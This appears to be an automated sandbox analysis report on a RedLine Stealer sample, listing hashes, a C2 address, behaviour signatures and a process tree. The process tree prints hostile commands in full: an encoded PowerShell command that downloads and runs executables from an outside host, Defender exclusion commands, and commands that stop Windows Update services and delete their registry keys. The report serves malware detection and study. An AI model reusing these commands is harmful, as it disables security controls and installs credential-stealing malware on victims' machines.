Analysis
- max time kernel
37s - max time network
85s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
30/01/2023, 19:34
Static task
static1
Behavioral task
behavioral1
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win7-20221111-en
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win10v2004-20221111-en
20 signatures
150 seconds
General
- Target b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
- Size 360KB
- Sample230130-x95a2acc94
- SHA256 c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
- MD5 9c0c75bb31dfa46b2c91c12693bf45dd
- SHA1 b405694fbedc3ed57f486a0bd892fb48b2917d49
- SHA512 cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
- SSDEEP 6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
redline
Botnet
-
1
C2
-
107.182.129.73:21733
Attributes
-
auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe - RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/1512-171-0x00000000003B0000-0x00000000003D0000-memory.dmp family_redline - Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 320 created 2508 320 SmartDefRun.exe 36 PID 320 created 2508 320 SmartDefRun.exe 36 PID 320 created 2508 320 SmartDefRun.exe 36 PID 320 created 2508 320 SmartDefRun.exe 36 PID 2384 created 600 2384 powershell.EXE 3 - Blocklisted process makes network request 1 IoCs
flow pid Process 6 4828 powershell.exe - Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe - Executes dropped EXE 4 IoCs
pid Process 2136 new2.exe 3668 C4Loader.exe 320 SmartDefRun.exe 3288 SysApp.exe - Stops running service(s) 3 TTPs
- Uses the VBS compiler for execution 1 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1784 set thread context of 1964 1784 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 2136 set thread context of 1512 2136 new2.exe 92 PID 320 set thread context of 2264 320 SmartDefRun.exe 120 PID 2384 set thread context of 4120 2384 powershell.EXE 125 - Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3576 sc.exe 2088 sc.exe 2456 sc.exe 2536 sc.exe 1964 sc.exe - Program crash 2 IoCs
pid pid_target Process procid_target 4368 1784 WerFault.exe 80 4464 2136 WerFault.exe 87 - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE - Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 4828 powershell.exe 4828 powershell.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 3288 SysApp.exe 1512 vbc.exe 320 SmartDefRun.exe 320 SmartDefRun.exe 4656 powershell.exe 4656 powershell.exe 320 SmartDefRun.exe 320 SmartDefRun.exe 320 SmartDefRun.exe 320 SmartDefRun.exe 2252 powershell.exe 2252 powershell.exe 320 SmartDefRun.exe 320 SmartDefRun.exe 2384 powershell.EXE 680 powershell.EXE 2384 powershell.EXE 680 powershell.EXE 2384 powershell.EXE 4120 dllhost.exe 4120 dllhost.exe 4120 dllhost.exe 4120 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4828 powershell.exe Token: SeDebugPrivilege 1512 vbc.exe Token: SeDebugPrivilege 4656 powershell.exe Token: SeDebugPrivilege 2252 powershell.exe Token: SeIncreaseQuotaPrivilege 2252 powershell.exe Token: SeSecurityPrivilege 2252 powershell.exe Token: SeTakeOwnershipPrivilege 2252 powershell.exe Token: SeLoadDriverPrivilege 2252 powershell.exe Token: SeSystemProfilePrivilege 2252 powershell.exe Token: SeSystemtimePrivilege 2252 powershell.exe Token: SeProfSingleProcessPrivilege 2252 powershell.exe Token: SeIncBasePriorityPrivilege 2252 powershell.exe Token: SeCreatePagefilePrivilege 2252 powershell.exe Token: SeBackupPrivilege 2252 powershell.exe Token: SeRestorePrivilege 2252 powershell.exe Token: SeShutdownPrivilege 2252 powershell.exe Token: SeDebugPrivilege 2252 powershell.exe Token: SeSystemEnvironmentPrivilege 2252 powershell.exe Token: SeRemoteShutdownPrivilege 2252 powershell.exe Token: SeUndockPrivilege 2252 powershell.exe Token: SeManageVolumePrivilege 2252 powershell.exe Token: 33 2252 powershell.exe Token: 34 2252 powershell.exe Token: 35 2252 powershell.exe Token: 36 2252 powershell.exe Token: SeIncreaseQuotaPrivilege 2252 powershell.exe Token: SeSecurityPrivilege 2252 powershell.exe Token: SeTakeOwnershipPrivilege 2252 powershell.exe Token: SeLoadDriverPrivilege 2252 powershell.exe Token: SeSystemProfilePrivilege 2252 powershell.exe Token: SeSystemtimePrivilege 2252 powershell.exe Token: SeProfSingleProcessPrivilege 2252 powershell.exe Token: SeIncBasePriorityPrivilege 2252 powershell.exe Token: SeCreatePagefilePrivilege 2252 powershell.exe Token: SeBackupPrivilege 2252 powershell.exe Token: SeRestorePrivilege 2252 powershell.exe Token: SeShutdownPrivilege 2252 powershell.exe Token: SeDebugPrivilege 2252 powershell.exe Token: SeSystemEnvironmentPrivilege 2252 powershell.exe Token: SeRemoteShutdownPrivilege 2252 powershell.exe Token: SeUndockPrivilege 2252 powershell.exe Token: SeManageVolumePrivilege 2252 powershell.exe Token: 33 2252 powershell.exe Token: 34 2252 powershell.exe Token: 35 2252 powershell.exe Token: 36 2252 powershell.exe Token: SeIncreaseQuotaPrivilege 2252 powershell.exe Token: SeSecurityPrivilege 2252 powershell.exe Token: SeTakeOwnershipPrivilege 2252 powershell.exe Token: SeLoadDriverPrivilege 2252 powershell.exe Token: SeSystemProfilePrivilege 2252 powershell.exe Token: SeSystemtimePrivilege 2252 powershell.exe Token: SeProfSingleProcessPrivilege 2252 powershell.exe Token: SeIncBasePriorityPrivilege 2252 powershell.exe Token: SeCreatePagefilePrivilege 2252 powershell.exe Token: SeBackupPrivilege 2252 powershell.exe Token: SeRestorePrivilege 2252 powershell.exe Token: SeShutdownPrivilege 2252 powershell.exe Token: SeDebugPrivilege 2252 powershell.exe Token: SeSystemEnvironmentPrivilege 2252 powershell.exe Token: SeRemoteShutdownPrivilege 2252 powershell.exe Token: SeUndockPrivilege 2252 powershell.exe Token: SeManageVolumePrivilege 2252 powershell.exe Token: 33 2252 powershell.exe - Suspicious use of WriteProcessMemory 56 IoCs
description pid Process procid_target PID 1784 wrote to memory of 1964 1784 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 1784 wrote to memory of 1964 1784 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 1784 wrote to memory of 1964 1784 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 1784 wrote to memory of 1964 1784 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 1784 wrote to memory of 1964 1784 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 1964 wrote to memory of 4828 1964 vbc.exe 85 PID 1964 wrote to memory of 4828 1964 vbc.exe 85 PID 1964 wrote to memory of 4828 1964 vbc.exe 85 PID 4828 wrote to memory of 2136 4828 powershell.exe 87 PID 4828 wrote to memory of 2136 4828 powershell.exe 87 PID 4828 wrote to memory of 2136 4828 powershell.exe 87 PID 4828 wrote to memory of 3668 4828 powershell.exe 89 PID 4828 wrote to memory of 3668 4828 powershell.exe 89 PID 4828 wrote to memory of 3668 4828 powershell.exe 89 PID 4828 wrote to memory of 320 4828 powershell.exe 90 PID 4828 wrote to memory of 320 4828 powershell.exe 90 PID 4828 wrote to memory of 3288 4828 powershell.exe 91 PID 4828 wrote to memory of 3288 4828 powershell.exe 91 PID 4828 wrote to memory of 3288 4828 powershell.exe 91 PID 2136 wrote to memory of 1512 2136 new2.exe 92 PID 2136 wrote to memory of 1512 2136 new2.exe 92 PID 2136 wrote to memory of 1512 2136 new2.exe 92 PID 2136 wrote to memory of 1512 2136 new2.exe 92 PID 2136 wrote to memory of 1512 2136 new2.exe 92 PID 2672 wrote to memory of 3576 2672 cmd.exe 109 PID 2672 wrote to memory of 3576 2672 cmd.exe 109 PID 2672 wrote to memory of 2088 2672 cmd.exe 110 PID 2672 wrote to memory of 2088 2672 cmd.exe 110 PID 2672 wrote to memory of 2456 2672 cmd.exe 111 PID 2672 wrote to memory of 2456 2672 cmd.exe 111 PID 2672 wrote to memory of 2536 2672 cmd.exe 112 PID 2672 wrote to memory of 2536 2672 cmd.exe 112 PID 2672 wrote to memory of 1964 2672 cmd.exe 113 PID 2672 wrote to memory of 1964 2672 cmd.exe 113 PID 2672 wrote to memory of 1480 2672 cmd.exe 114 PID 2672 wrote to memory of 1480 2672 cmd.exe 114 PID 2672 wrote to memory of 2880 2672 cmd.exe 115 PID 2672 wrote to memory of 2880 2672 cmd.exe 115 PID 2672 wrote to memory of 1452 2672 cmd.exe 116 PID 2672 wrote to memory of 1452 2672 cmd.exe 116 PID 2672 wrote to memory of 2908 2672 cmd.exe 117 PID 2672 wrote to memory of 2908 2672 cmd.exe 117 PID 2672 wrote to memory of 1616 2672 cmd.exe 118 PID 2672 wrote to memory of 1616 2672 cmd.exe 118 PID 320 wrote to memory of 2264 320 SmartDefRun.exe 120 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 2384 wrote to memory of 4120 2384 powershell.EXE 125 PID 4120 wrote to memory of 600 4120 dllhost.exe 3 PID 4120 wrote to memory of 656 4120 dllhost.exe 1
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:656
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:600
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{28d00147-2cac-4ea7-9a07-8e18b378cb72}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4120
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2508
-
C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4828 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 2406⤵
- Program crash
PID:4464
-
-
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:3668
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:320
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3288
-
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 2403⤵
- Program crash
PID:4368
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3576
-
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2088
-
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2456
-
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2536
-
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1964
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1480
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2880
-
